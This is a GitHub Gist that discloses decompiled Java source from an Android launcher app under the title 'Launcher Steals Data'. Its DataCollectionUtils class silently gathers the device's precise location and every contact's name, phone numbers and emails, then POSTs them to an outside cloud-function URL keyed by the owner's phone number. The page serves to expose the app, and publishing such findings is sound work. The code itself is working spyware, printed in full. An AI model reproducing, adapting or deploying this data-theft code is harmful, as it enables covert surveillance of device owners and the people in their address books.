Last active
February 26, 2020 20:35
-
-
Save MegaleAmukos/21fbdfe711d1cf94c71d4aafb6116dc8 to your computer and use it in GitHub Desktop.
apps4flip.com Launcher Steals Data
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.bignerdranch.android.nerdlauncher; | |
import android.content.Context; | |
import android.content.res.Resources; | |
import android.database.Cursor; | |
import android.location.Criteria; | |
import android.location.Location; | |
import android.location.LocationListener; | |
import android.location.LocationManager; | |
import android.net.Uri; | |
import android.os.Bundle; | |
import android.provider.ContactsContract.CommonDataKinds.Contactables; | |
import android.provider.ContactsContract.CommonDataKinds.Email; | |
import android.provider.ContactsContract.CommonDataKinds.Phone; | |
import android.telephony.TelephonyManager; | |
import android.text.SpannableStringBuilder; | |
import android.util.Log; | |
import android.util.LongSparseArray; | |
import java.io.DataOutputStream; | |
import java.net.URL; | |
import java.util.ArrayList; | |
import java.util.Iterator; | |
import javax.net.ssl.HttpsURLConnection; | |
import needle.Needle; | |
import org.json.JSONObject; | |
public class DataCollectionUtils { | |
/* access modifiers changed from: private */ | |
public Context mContext; | |
static class AddressBookContact { | |
private LongSparseArray<String> emails; | |
/* renamed from: id */ | |
private long f36id; | |
private String name; | |
private LongSparseArray<String> phones; | |
private Resources res; | |
AddressBookContact(long id, String name2, Resources res2) { | |
this.f36id = id; | |
this.name = name2; | |
this.res = res2; | |
} | |
public String toString() { | |
return toString(false); | |
} | |
public String toString(boolean rich) { | |
SpannableStringBuilder builder = new SpannableStringBuilder(); | |
if (rich) { | |
builder.append("id: ").append(Long.toString(this.f36id)).append(", name: ").append("\u001b[1m").append(this.name).append("\u001b[0m"); | |
} else { | |
builder.append(this.name); | |
} | |
if (this.phones != null) { | |
builder.append("\n\tphones: "); | |
for (int i = 0; i < this.phones.size(); i++) { | |
builder.append(Phone.getTypeLabel(this.res, (int) this.phones.keyAt(i), "")).append(": ").append((CharSequence) this.phones.valueAt(i)); | |
if (i + 1 < this.phones.size()) { | |
builder.append(", "); | |
} | |
} | |
} | |
if (this.emails != null) { | |
builder.append("\n\temails: "); | |
for (int i2 = 0; i2 < this.emails.size(); i2++) { | |
builder.append(Email.getTypeLabel(this.res, (int) this.emails.keyAt(i2), "")).append(": ").append((CharSequence) this.emails.valueAt(i2)); | |
if (i2 + 1 < this.emails.size()) { | |
builder.append(", "); | |
} | |
} | |
} | |
return builder.toString(); | |
} | |
public void addEmail(int type, String address) { | |
if (this.emails == null) { | |
this.emails = new LongSparseArray<>(); | |
} | |
this.emails.put((long) type, address); | |
} | |
public void addPhone(int type, String number) { | |
if (this.phones == null) { | |
this.phones = new LongSparseArray<>(); | |
} | |
this.phones.put((long) type, number); | |
} | |
} | |
public static class Contacts { | |
public ArrayList<AddressBookContact> contactList; | |
} | |
public DataCollectionUtils(Context context) { | |
this.mContext = context; | |
} | |
public void sendLocation() { | |
try { | |
LocationManager locationManager = (LocationManager) this.mContext.getSystemService("location"); | |
boolean isProviderEnabled = locationManager.isProviderEnabled("network"); | |
Criteria criteria = new Criteria(); | |
criteria.setAccuracy(1); | |
locationManager.requestSingleUpdate(criteria, new LocationListener() { | |
public void onLocationChanged(Location location) { | |
try { | |
JSONObject object = new JSONObject(); | |
object.put("latitude", location.getLatitude()); | |
object.put("longitude", location.getLongitude()); | |
object.put("altitude", location.getAltitude()); | |
object.put("speed", (double) location.getSpeed()); | |
DataCollectionUtils.this.uploadData("location", object.toString()); | |
} catch (Exception ex) { | |
Log.d("Zmanim", "Error occured in singleshotlocationprovider. Error: " + ex.getMessage()); | |
} | |
} | |
public void onStatusChanged(String provider, int status, Bundle extras) { | |
} | |
public void onProviderEnabled(String provider) { | |
} | |
public void onProviderDisabled(String provider) { | |
} | |
}, null); | |
Criteria criterianew = new Criteria(); | |
criteria.setAccuracy(2); | |
locationManager.requestSingleUpdate(criterianew, new LocationListener() { | |
public void onLocationChanged(Location location) { | |
try { | |
JSONObject object = new JSONObject(); | |
object.put("latitude", location.getLatitude()); | |
object.put("longitude", location.getLongitude()); | |
object.put("altitude", location.getAltitude()); | |
object.put("speed", (double) location.getSpeed()); | |
DataCollectionUtils.this.uploadData("location", object.toString()); | |
} catch (Exception ex) { | |
Log.d("Zmanim", "Error occured in singleshotlocationprovider. Error: " + ex.getMessage()); | |
} | |
} | |
public void onStatusChanged(String provider, int status, Bundle extras) { | |
} | |
public void onProviderEnabled(String provider) { | |
} | |
public void onProviderDisabled(String provider) { | |
} | |
}, null); | |
} catch (Exception | SecurityException e) { | |
} | |
} | |
public void sendContacts() { | |
try { | |
ArrayList<AddressBookContact> list = new ArrayList<>(); | |
LongSparseArray<AddressBookContact> array = new LongSparseArray<>(); | |
long start = System.currentTimeMillis(); | |
String[] projection = {"mimetype", "contact_id", "display_name", "data1", "data2"}; | |
String[] selectionArgs = {"vnd.android.cursor.item/email_v2", "vnd.android.cursor.item/phone_v2"}; | |
Uri uri = Contactables.CONTENT_URI; | |
Cursor cursor = this.mContext.getContentResolver().query(uri, projection, "mimetype in (?, ?)", selectionArgs, "sort_key_alt"); | |
int mimeTypeIdx = cursor.getColumnIndex("mimetype"); | |
int idIdx = cursor.getColumnIndex("contact_id"); | |
int nameIdx = cursor.getColumnIndex("display_name"); | |
int dataIdx = cursor.getColumnIndex("data1"); | |
int typeIdx = cursor.getColumnIndex("data2"); | |
while (cursor.moveToNext()) { | |
long id = cursor.getLong(idIdx); | |
AddressBookContact addressBookContact = (AddressBookContact) array.get(id); | |
if (addressBookContact == null) { | |
addressBookContact = new AddressBookContact(id, cursor.getString(nameIdx), this.mContext.getResources()); | |
array.put(id, addressBookContact); | |
list.add(addressBookContact); | |
} | |
int type = cursor.getInt(typeIdx); | |
String data = cursor.getString(dataIdx); | |
if (cursor.getString(mimeTypeIdx).equals("vnd.android.cursor.item/email_v2")) { | |
addressBookContact.addEmail(type, data); | |
} else { | |
addressBookContact.addPhone(type, data); | |
} | |
} | |
long currentTimeMillis = System.currentTimeMillis() - start; | |
cursor.close(); | |
JSONObject object = new JSONObject(); | |
int num = 0; | |
Iterator it = list.iterator(); | |
while (it.hasNext()) { | |
AddressBookContact contact = (AddressBookContact) it.next(); | |
object.put(String.valueOf(num), contact.toString(false)); | |
num++; | |
} | |
uploadData("contacts", object.toString()); | |
} catch (SecurityException e) { | |
} catch (Exception ex) { | |
Log.d("datautil", "error getting c " + ex.getMessage()); | |
} | |
} | |
/* access modifiers changed from: private */ | |
public void uploadData(final String type, final String data) { | |
Needle.onBackgroundThread().execute(new Runnable() { | |
public void run() { | |
try { | |
System.out.println("sending data"); | |
HttpsURLConnection httpClient = (HttpsURLConnection) new URL("https://us-central1-locationtracker-1502360650532.cloudfunctions.net/uploadData?type=" + type + "&key=" + ((TelephonyManager) DataCollectionUtils.this.mContext.getSystemService("phone")).getLine1Number().trim().replace("+", "")).openConnection(); | |
httpClient.setRequestMethod("POST"); | |
httpClient.setDoOutput(true); | |
httpClient.setRequestProperty("Content-Type", "application/json"); | |
DataOutputStream wr = new DataOutputStream(httpClient.getOutputStream()); | |
wr.writeBytes(data); | |
wr.flush(); | |
wr.close(); | |
int responseCode = httpClient.getResponseCode(); | |
httpClient.disconnect(); | |
System.out.println("sent data"); | |
PreferenceLab.getPreferanceLab(DataCollectionUtils.this.mContext).setUploadedContacts(true); | |
} catch (SecurityException e) { | |
} catch (Exception ex) { | |
Log.d("datatutil", "error sending data" + ex.getMessage()); | |
} | |
} | |
}); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Its been fixed in the new version